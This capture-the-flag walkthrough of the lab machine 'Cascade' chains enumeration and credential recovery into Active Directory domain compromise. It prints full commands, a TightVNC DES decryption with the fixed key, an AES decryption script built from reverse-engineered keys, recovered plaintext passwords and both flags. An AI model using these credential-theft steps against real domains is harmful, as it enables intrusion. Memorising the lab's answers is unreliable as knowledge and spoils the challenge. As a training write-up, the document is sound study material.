Metadata

Summary

This box is quite enumeration heavy, as we discover multiple sets of credentials this way. At first, anonymous access to LDAP lets us access an encoded password for a domain user, as which we obtain partial access to a smb share. On this share, we find a registry entry, which contains a weakly hex encoded and DES encrypted password string, which we quickly decrypt. The acquired credentials grant us a foothold on the target, as well as additional access to another smb share.

The newly acquired access reveals a database with another encrypted password. By debugging the application, which decrypts this password at runtime, we create a Python script to reverse the encryption process and obtain another set of credentials. Since the acquired user has special read permission on the domain, we can read a password of a seemingly deleted account, over which we acquire the Administrator’s password.

Solution

Reconnaissance

With Nmap, we quickly discover that the target the part of an AD environment.

nmap -sC -sV 10.10.10.182 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 10:43 CEST
Nmap scan report for 10.10.10.182
Host is up (0.053s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  tcpwrapped
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
 
Host script results:
| smb2-time: 
|   date: 2025-04-09T08:44:53
|_  start_date: 2025-04-09T08:42:07
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required

The amount of exposed services we can interact with is quite low. We should therefore mainly focus on SMB and LDAP, and check if we can extract any valuable information. First, we can check with SMBclient if anonymous access to smb is allowed, as we currently don’t have any credentials.

smbclient -L //10.10.10.182/ -N
Anonymous login successful
 
        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.182 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Despite the error, the message prompt tells us that anonymous access is in fact allowed. While we currently can not view any shares, we can use this access to enumerate users on the domain with Netexec.

netexec smb 10.10.10.182 --users               
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.10.10.182    445    CASC-DC1         CascGuest                     <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.10.10.182    445    CASC-DC1         arksvc                        2020-01-09 16:18:20 0        
SMB         10.10.10.182    445    CASC-DC1         s.smith                       2020-01-28 19:58:05 0        
SMB         10.10.10.182    445    CASC-DC1         r.thompson                    2020-01-09 19:31:26 0        
SMB         10.10.10.182    445    CASC-DC1         util                          2020-01-13 02:07:11 0        
SMB         10.10.10.182    445    CASC-DC1         j.wakefield                   2020-01-09 20:34:44 0        
SMB         10.10.10.182    445    CASC-DC1         s.hickson                     2020-01-13 01:24:27 0        
SMB         10.10.10.182    445    CASC-DC1         j.goodhand                    2020-01-13 01:40:26 0        
SMB         10.10.10.182    445    CASC-DC1         a.turnbull                    2020-01-13 01:43:13 0        
SMB         10.10.10.182    445    CASC-DC1         e.crowe                       2020-01-13 03:45:02 0        
SMB         10.10.10.182    445    CASC-DC1         b.hanson                      2020-01-13 16:35:39 0        
SMB         10.10.10.182    445    CASC-DC1         d.burman                      2020-01-13 16:36:12 0        
SMB         10.10.10.182    445    CASC-DC1         BackupSvc                     2020-01-13 16:37:03 0        
SMB         10.10.10.182    445    CASC-DC1         j.allen                       2020-01-13 17:23:59 0        
SMB         10.10.10.182    445    CASC-DC1         i.croft                       2020-01-15 21:46:21 0        
SMB         10.10.10.182    445    CASC-DC1         [*] Enumerated 15 local users: CASCADE

Great, now we have a list of users. After saving these to a file and checking if any of these are kerberoastable without pre authentication, we sadly retrieve a negative response of all accounts. Since this won’t lead us anywhere as of right now, we should continue our enumeration process with the LDAP service. For this, we can use LDAPsearch.

ldapsearch -H ldap://10.10.10.182 -b "dc=cascade,dc=local" -D cascade\\ldap

This command will return a very verbose output, since it will dump all available information. After searching through these entries, we can find only a single unusual one. Most of the domain users have the same LDAP field, however r.thompson also has a unique field called cascadeLegacyPwd.

 Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
<cut>
sAMAccountName: r.thompson
<cut>
cascadeLegacyPwd: clk0bjVldmE=

User Flag

From the name of the field in combination with the value, this looks like a base64 encoded password string for r.thompson. Let’s decode it.

echo 'clk0bjVldmE=' | base64 -d                        
rY4n5eva

This discovered set of credentials sadly does not let us create a remote PowerShell session on the target. But since we were not able to inspect smb shares, this is a great place to check for additional access.

smbclient -L //10.10.10.182/ -U r.thompson            
Password for [WORKGROUP\r.thompson]:
#
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Audit$          Disk      
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        print$          Disk      Printer Drivers
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.

This looks promising. Besides the newly acquired access granting us access to smb, there are two custom shares, which might be valuable. However, our read access is still restricted as we can only access Data and its subdirectory IT.

smbclient //10.10.10.182/Data -U r.thompson
Password for [WORKGROUP\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 27 04:27:34 2020
  ..                                  D        0  Mon Jan 27 04:27:34 2020
  Contractors                         D        0  Mon Jan 13 02:45:11 2020
  Finance                             D        0  Mon Jan 13 02:45:06 2020
  IT                                  D        0  Tue Jan 28 19:04:51 2020
  Production                          D        0  Mon Jan 13 02:45:18 2020
  Temps                               D        0  Mon Jan 13 02:45:15 2020

In this folder, there are a few interesting files. First Email Archives contains a Meeting_Notes_June_2018.html.

<p>-- New production network will be going live on
Wednesday so keep an eye out for any issues. </p>
 
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>

So apparently, there was an account called TempAdmin with the same password as Admininstrator. Let’s note this for now, as it might be valuable later one. In Temp/ we find two more folders with quite special names.

smb: \IT\Temp\> ls
  .                                   D        0  Tue Jan 28 23:06:59 2020
  ..                                  D        0  Tue Jan 28 23:06:59 2020
  r.thompson                          D        0  Tue Jan 28 23:06:53 2020
  s.smith                             D        0  Tue Jan 28 21:00:01 202

Since the first folder’s name is the same as the one of our compromised account, s.smith likely also refers to a private folder for the according user. In it, we find VNC Install.reg.

��Windows Registry Editor Version 5.00
 
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
<cut>
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
<cut>

For the name of this file, we already know that we are dealing with some registry entries related to TightVNC. In there, we find a value Password, which seems to be a hex value. After little research about how we can convert this hex value to a clear text password, I found this page, from where I took the following command.

echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv 
00000000  73 54 33 33 33 76 65 32                           |sT333ve2|
00000008

According to this output, the password is sT333ve2. Since we found it in a folder called s.smith, it is not a surprise that we can create a remote PowerShell session with Evil-WinRM as this user on the target machine, which enables us to claim the user flag.

evil-winrm -i 10.10.10.182 -u s.smith -p 'sT333ve2'
bd7569d1b783ed46844b301c017bfa1f

Root Flag

Before we enumerate the local system and the domain with our acquired foothold, let’s check if this account gives us more permissions on the smb, as there still was an inaccessible share. While our access to Data remains the same, these credentials permit us to access audit$.

smbclient //10.10.10.182/Audit$ -U s.smith
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 19:01:26 2020
  ..                                  D        0  Wed Jan 29 19:01:26 2020
  CascAudit.exe                      An    13312  Tue Jan 28 22:46:51 2020
  CascCrypto.dll                     An    12288  Wed Jan 29 19:00:20 2020
  DB                                  D        0  Tue Jan 28 22:40:59 2020
  RunAudit.bat                        A       45  Wed Jan 29 00:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 07:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 07:38:38 2019
  x64                                 D        0  Sun Jan 26 23:25:27 2020
  x86                                 D        0  Sun Jan 26 23:25:27 2020

This share contains a bunch of files. One of the immediately obvious targets is the Audit.db file of the DB folder, which we can confirm to be a SQLite database.

file Audit.db                             
Audit.db: SQLite 3.x database
<cut>

Let’s inspect it and take a look if we can find some valuable targets. As there is only one database and three small tables, we can just dump everything.

sqlite> Select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> Select * from Misc;
sqlite> Select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local

The only really promising result is the single entry in the Ldap table. Since it contains a username, as well as a password and is called Ldap, this likely refers to domain credentials. However, the password string looks not only base64 encoded, but also encrypted, as an attempt to decode it yields many non UTF-8 characters. Now, how would we be able to decrypt this password? Since the smb share where we found the database also contains an executable CascAudit.exe. It likely, that his application uses this database and therefore likely decrypt the password at runtime. We can inspect the executable, as well as the corresponding CascCrypto.dll with a tool, such as ILSpy.

 try
                                {
                                        SQLiteDataReader val3 = val2.ExecuteReader();
                                        try
                                        {  
                                                val3.Read();
                                                text = Conversions.ToString(val3.get_Item("Uname"));
                                                text2 = Conversions.ToString(val3.get_Item("Domain"));
                                                string encryptedString = Conversions.ToString(val3.get_Item("Pwd")); 
                                                try
                                                {  
                                                        password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
                                                }

This C# code snippet describes what we already suspected. The encoded password will be loaded from the database and passed into a decryption function, which the .dll contains. In addition, this code snippet reveals the description key to be c4scadek3y654321.

public static string DecryptString(string EncryptedString, string Key)
{
        //Discarded unreachable code: IL_009e
        byte[] array = Convert.FromBase64String(EncryptedString);
        Aes aes = Aes.Create();
        aes.KeySize = 128;
        aes.BlockSize = 128;
        aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
        aes.Mode = CipherMode.CBC;
        aes.Key = Encoding.UTF8.GetBytes(Key);
        using MemoryStream stream = new MemoryStream(array);
        using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
        byte[] array2 = new byte[checked(array.Length - 1 + 1)];
        cryptoStream.Read(array2, 0, array2.Length);
        return Encoding.UTF8.GetString(array2);
}

Now, this code snippet tells is in more depth how the executable actually decrypts the password. The most important things are the following:

  • the encrypted password is in fact base64 encoded
  • this function uses AES 128 CBC
  • the initialization vector is 1tdyjCbY1Ix49842

With this knowledge, we can quickly build our own python script, which will use this information to decrypt the key.

import base64
from Crypto.Cipher import AES
 
 
# set known variables
key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
enc_b64 = "BQO5l5Kj9MdErXx6Q6AGOw=="
 
# decode encyrpted password 
enc = base64.b64decode(enc_b64)
 
# decrypt password 
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
dec = cipher.decrypt(enc)
 
# return results
output = dec.decode("utf-8")
print(output)
python3 decrypt.py      
w3lc0meFr31nd

With this script, we quickly obtain the decrypted password for the account ArkSvc. We can use this to create a session with Evil-WinRM on the target.

evil-winrm -i 10.10.10.182 -u ArkSvc -p 'w3lc0meFr31nd'

From this account’s name, we can deduce that we are dealing with some kind of service account. In many cases, there are specific permissions to perform the actions they are intended to perform. Therefore, it’s always a good idea to use Net and enumerate these permissions.

net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            1/9/2020 5:18:20 PM
Password expires             Never
Password changeable          1/9/2020 5:18:20 PM
Password required            Yes
User may change password     No
 
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/29/2020 10:05:40 PM
 
Logon hours allowed          All
 
Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

This account is a member of the local group AD Recycle Bin. At his point, the deleted account TempAdmin finally comes into play. The group membership allows this user to access the AD recycling bin. If this user account was only moved into this recycling bin instead of being permanently deleted, we might still be able to access sensitive data. With the following command from this cheat sheet, we can list all relevant entries.

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
 
<cut>
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
<cut>

Just like in our first enumeration of LDAP, the deleted TempAdmin account also has this unique cascadeLegacyPwd entries with a base64 encoded password.

echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles

Since the email we found on the smb share told use that this password equals the one of Administrator, we can use it to access this account as well. This way, we can collect the root flag.

evil-winrm -i 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'
9fe7ffb146a5b62b34a075cb5abad488